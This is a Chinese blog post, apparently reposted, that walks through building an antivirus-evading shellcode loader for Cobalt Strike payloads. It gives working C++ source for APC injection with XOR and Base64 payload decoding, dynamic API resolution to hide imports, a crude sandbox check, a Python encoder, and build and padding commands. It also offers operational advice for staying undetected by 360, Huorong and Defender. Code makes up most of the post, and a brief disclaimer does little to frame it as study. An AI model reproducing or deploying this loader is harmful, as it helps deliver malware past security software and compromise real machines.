admin管理员组文章数量:1794759
免杀360火绒defender小型项目改
改之前的免杀小型项目,顺便介绍不免杀改到免杀的修改过程,并提供源码(文末)。
技术采用:shellcode经过xor隐藏在资源文件,使用APC加载。
项目共3个文件
- • python脚本
- • 资源文件
- • c++代码
原来的代码(hello.cpp
)
APC注入函数,不查杀的原因在于典型函数QueueUserAPC
暴露,导入表条目过多。
针对这种情况可以采用动态加载函数,这样可以避免在编译时直接链接许多API函数,只在运行时需要时加载它们。这不仅减少了导入表的大小,还增加了代码的隐蔽性。
代码语言:javascript代码运行次数:0运行复制void shellcode() {
// Load shellcode from resources
HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(SHELLCODE_RESOURCE), RT_RCDATA);
HGLOBAL shellcodeResourceData = LoadResource(NULL, shellcodeResource);
DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
// Copy the shellcode to a modifiable buffer
char* dataCopy = new char[shellcodeSize];
memcpy(dataCopy, LockResource(shellcodeResourceData), shellcodeSize);
// XOR Decrypt the shellcode
char key[] = "0x13";
int j = 0;
for (int i = 0; i < shellcodeSize; i++)
{
if (j == sizeof(key) - 1) j = 0;
dataCopy[i] = dataCopy[i] ^ key[j];
j++;
}
// Get the ID of the current process
DWORD pnameid = GetCurrentProcessId();
// Open the current process with all access rights
HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pnameid);
// Allocate memory the size of the shellcode
PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, shellcodeSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
// Write the shellcode to the remote buffer
WriteProcessMemory(processHandle, remoteBuffer, dataCopy, shellcodeSize, NULL);
// Get a handle to the main thread
DWORD mainThreadId = GetCurrentThreadId();
HANDLE mainThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, mainThreadId);
// Queue the shellcode as an APC to the main thread
QueueUserAPC((PAPCFUNC)remoteBuffer, mainThreadHandle, NULL);
// Cleanup
CloseHandle(processHandle);
CloseHandle(mainThreadHandle);
delete[] dataCopy;
// Trigger the APC by forcing the main thread to execute an alertable wait state
SleepEx(0, TRUE);
}
使用动态加载API函数的完整代码(hello2.cpp
)
通过这种方法,有效减少导入表中的条目数量,增加代码隐蔽性和反检测能力。
代码语言:javascript代码运行次数:0运行复制#include <windows.h>
#include <stdio.h>
#include <iostream>
#include <string>
#include <regex>
#define SHELLCODE_RESOURCE 101
#define MAX_OP 89888996
typedef BOOL(WINAPI* VirtualProtectFunc)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef BOOL(WINAPI* WriteProcessMemoryFunc)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
typedef PVOID(WINAPI* VirtualAllocExFunc)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
typedef HANDLE(WINAPI* OpenProcessFunc)(DWORD, BOOL, DWORD);
typedef HANDLE(WINAPI* OpenThreadFunc)(DWORD, BOOL, DWORD);
typedef DWORD(WINAPI* QueueUserAPCFunc)(PAPCFUNC, HANDLE, ULONG_PTR);
typedef DWORD(WINAPI* SleepExFunc)(DWORD, BOOL);
void shellcode();
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
// Simple sandbox evasion
char path[MAX_PATH];
int cpt = 0;
int i = 0;
for (i = 0; i < MAX_OP; i++)
{
cpt++;
}
if (cpt == MAX_OP)
{
GetModuleFileName(NULL, path, MAX_PATH);
std::regex str_expr("(.*)(hello)(.*)");
// Check if the file path matches the regular expression pattern
if (std::regex_match(path, str_expr))
{
shellcode();
}
}
return 0;
}
void shellcode() {
// Load shellcode from resources
HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(SHELLCODE_RESOURCE), RT_RCDATA);
HGLOBAL shellcodeResourceData = LoadResource(NULL, shellcodeResource);
DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
// Copy the shellcode to a modifiable buffer
char* dataCopy = new char[shellcodeSize];
memcpy(dataCopy, LockResource(shellcodeResourceData), shellcodeSize);
// XOR Decrypt the shellcode
char key[] = "0x13";
int j = 0;
for (int i = 0; i < shellcodeSize; i++)
{
if (j == sizeof(key) - 1) j = 0;
dataCopy[i] = dataCopy[i] ^ key[j];
j++;
}
// Dynamically load required functions
HMODULE hKernel32 = GetModuleHandle("kernel32.dll");
OpenProcessFunc OpenProcessPtr = (OpenProcessFunc)GetProcAddress(hKernel32, "OpenProcess");
VirtualAllocExFunc VirtualAllocExPtr = (VirtualAllocExFunc)GetProcAddress(hKernel32, "VirtualAllocEx");
WriteProcessMemoryFunc WriteProcessMemoryPtr = (WriteProcessMemoryFunc)GetProcAddress(hKernel32, "WriteProcessMemory");
OpenThreadFunc OpenThreadPtr = (OpenThreadFunc)GetProcAddress(hKernel32, "OpenThread");
QueueUserAPCFunc QueueUserAPCPtr = (QueueUserAPCFunc)GetProcAddress(hKernel32, "QueueUserAPC");
SleepExFunc SleepExPtr = (SleepExFunc)GetProcAddress(hKernel32, "SleepEx");
// Get the ID of the current process
DWORD pnameid = GetCurrentProcessId();
// Open the current process with all access rights
HANDLE processHandle = OpenProcessPtr(PROCESS_ALL_ACCESS, FALSE, pnameid);
// Allocate memory the size of the shellcode
PVOID remoteBuffer = VirtualAllocExPtr(processHandle, NULL, shellcodeSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
// Write the shellcode to the remote buffer
WriteProcessMemoryPtr(processHandle, remoteBuffer, dataCopy, shellcodeSize, NULL);
// Get a handle to the main thread
DWORD mainThreadId = GetCurrentThreadId();
HANDLE mainThreadHandle = OpenThreadPtr(THREAD_ALL_ACCESS, FALSE, mainThreadId);
// Queue the shellcode as an APC to the main thread
QueueUserAPCPtr((PAPCFUNC)remoteBuffer, mainThreadHandle, NULL);
// Cleanup
CloseHandle(processHandle);
CloseHandle(mainThreadHandle);
delete[] dataCopy;
// Trigger the APC by forcing the main thread to execute an alertable wait state
SleepExPtr(0, TRUE);
}
shellcode熵值过高解决(xorencrypt.py
)
通过测试360
发现,依然不免杀,C++代码刚改过了应该没什么问题,丢进DIE
,发现rc部分熵值高且显示加壳(如下图),那部分主要是放shellcode, 看来直接用xor
不行。(代码略)
使用Base64编码来降低熵值,改为xor+base64
后,发现熵值明显减少(如下图):
改后代码如下:
代码语言:javascript代码运行次数:0运行复制import base64
import sys
def xor_file(input_file, output_file, key):
try:
with open(input_file, "rb") as f:
data = f.read()
except FileNotFoundError:
print("File not found:", input_file)
sys.exit(1)
key = key.encode("utf-8")
key_len = len(key)
encrypted_data = bytearray()
for i in range(len(data)):
current = data[i]
current_key = key[i % key_len]
encrypted_data.append(current ^ current_key)
encoded_data = base64.b64encode(encrypted_data)
with open(output_file, "wb") as f:
f.write(encoded_data)
print("File encrypted and saved as", output_file)
if __name__ == "__main__":
if len(sys.argv) != 4:
print("Usage: python xor_encrypt.py <input_file> <output_file> <key>")
sys.exit(1)
input_file = sys.argv[1]
output_file = sys.argv[2]
key = sys.argv[3]
xor_file(input_file, output_file, key)
使用动态加载API函数的部分代码xorbase64(hello3.cpp
)
代码语言:javascript代码运行次数:0运行复制...
typedef BOOL(WINAPI* VirtualProtectFunc)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef BOOL(WINAPI* WriteProcessMemoryFunc)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
typedef PVOID(WINAPI* VirtualAllocExFunc)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
typedef HANDLE(WINAPI* OpenProcessFunc)(DWORD, BOOL, DWORD);
typedef HANDLE(WINAPI* OpenThreadFunc)(DWORD, BOOL, DWORD);
typedef DWORD(WINAPI* QueueUserAPCFunc)(PAPCFUNC, HANDLE, ULONG_PTR);
typedef DWORD(WINAPI* SleepExFunc)(DWORD, BOOL);
...
void shellcode() {
// Load shellcode from resources
HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(SHELLCODE_RESOURCE), RT_RCDATA);
HGLOBAL shellcodeResourceData = LoadResource(NULL, shellcodeResource);
DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
// Copy the shellcode to a modifiable buffer
char* encodedShellcode = new char[shellcodeSize];
memcpy(encodedShellcode, LockResource(shellcodeResourceData), shellcodeSize);
// Base64 decode
std::vector<char> decodedShellcode = Base64Decode(std::string(encodedShellcode, shellcodeSize));
// XOR Decrypt the shellcode
char key[] = "0x13";
int j = 0;
for (size_t i = 0; i < decodedShellcode.size(); i++)
{
if (j == sizeof(key) - 1) j = 0;
decodedShellcode[i] = decodedShellcode[i] ^ key[j];
j++;
}
// Dynamically load required functions
HMODULE hKernel32 = GetModuleHandle("kernel32.dll");
OpenProcessFunc OpenProcessPtr = (OpenProcessFunc)GetProcAddress(hKernel32, "OpenProcess");
VirtualAllocExFunc VirtualAllocExPtr = (VirtualAllocExFunc)GetProcAddress(hKernel32, "VirtualAllocEx");
WriteProcessMemoryFunc WriteProcessMemoryPtr = (WriteProcessMemoryFunc)GetProcAddress(hKernel32, "WriteProcessMemory");
OpenThreadFunc OpenThreadPtr = (OpenThreadFunc)GetProcAddress(hKernel32, "OpenThread");
QueueUserAPCFunc QueueUserAPCPtr = (QueueUserAPCFunc)GetProcAddress(hKernel32, "QueueUserAPC");
SleepExFunc SleepExPtr = (SleepExFunc)GetProcAddress(hKernel32, "SleepEx");
// Get the ID of the current process
DWORD pnameid = GetCurrentProcessId();
// Open the current process with all access rights
HANDLE processHandle = OpenProcessPtr(PROCESS_ALL_ACCESS, FALSE, pnameid);
// Allocate memory the size of the shellcode
PVOID remoteBuffer = VirtualAllocExPtr(processHandle, NULL, decodedShellcode.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
// Write the shellcode to the remote buffer
WriteProcessMemoryPtr(processHandle, remoteBuffer, decodedShellcode.data(), decodedShellcode.size(), NULL);
// Get a handle to the main thread
DWORD mainThreadId = GetCurrentThreadId();
HANDLE mainThreadHandle = OpenThreadPtr(THREAD_ALL_ACCESS, FALSE, mainThreadId);
// Queue the shellcode as an APC to the main thread
QueueUserAPCPtr((PAPCFUNC)remoteBuffer, mainThreadHandle, NULL);
// Cleanup
CloseHandle(processHandle);
CloseHandle(mainThreadHandle);
delete[] encodedShellcode;
// Trigger the APC by forcing the main thread to execute an alertable wait state
SleepExPtr(0, TRUE);
}
std::vector<char> Base64Decode(const std::string& encoded) {
DWORD decodedSize = 0;
CryptStringToBinaryA(encoded.c_str(), encoded.length(), CRYPT_STRING_BASE64, NULL, &decodedSize, NULL, NULL);
std::vector<char> decoded(decodedSize);
CryptStringToBinaryA(encoded.c_str(), encoded.length(), CRYPT_STRING_BASE64, (BYTE*)decoded.data(), &decodedSize, NULL, NULL);
return decoded;
}
测试下效果
cmd操作命令4条如下:
代码语言:javascript代码运行次数:0运行复制sgn.exe -i payload_x64.bin -o payload_x64.bin.sgn -a 64 -c 6
python xorAndbase64encrypt.py payload_x64.bin.sgn encrypted.bin 0x13
windres metadata.rc -O coff -o metadata.res
clang++.exe -O2 -Ob2 -Os -g -fno-stack-protector -Xlinker -pdb:none -Xlinker -subsystem:windows -o hello.exe SwiftOptimizer2.cpp metadata.res -luser32 -lkernel32 -fno-unroll-loops -fno-exceptions -fno-rtti
直接丢进机器双击运行,成功上线:
原项目在这里,现在公开代码:
- • 自用红队加载器过主流杀软已免杀半年
注意事项
- •
不要使用360右键查杀,右键查杀会上传文件,几小时后即被查杀,请直接运行。一般第二天才会被查杀,这是由360非白即黑机制决定的。
- •
不保证其他工具可以用,如果你还没有cs生产环境,可以点下方部署一套。但是千万别说拿着个破cs!
- •
没做反沙箱,请不要往微步上丢。代码main中自带反文件名。
- •
如果需要浏览器下载不被查杀,需取消rc文件中的DUMMY_DATA注释再编译,这将扩充文件大小至20M+规避查杀(如下图)。
- •
免杀火绒或者defender吗?必须的,那都是基本要求。
- •
仅用于红蓝对抗和学习研究,如非法使用,本人概不负责。
dummy.dat
采用powershell命令生成
$size = 16MB
$buffer = New-Object byte[] $size
$currentDirectory = Get-Location
$filePath = Join-Path $currentDirectory "dummy.dat"
[System.IO.File]::WriteAllBytes($filePath, $buffer)
- • Cobaltstrike4.9.1平台高级匿名技术
- • Cobaltstrike4.9.1平台基础部署手册
若觉得还行欢迎转发分享并评论,感谢支持。
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。原始发表:2024-07-19,如有侵权请联系 cloudcommunity@tencent 删除测试函数keynull编译本文标签: 免杀360火绒defender小型项目改
版权声明:本文标题:免杀360火绒defender小型项目改 内容由林淑君副主任自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.xiehuijuan.com/baike/1754605685a1704305.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论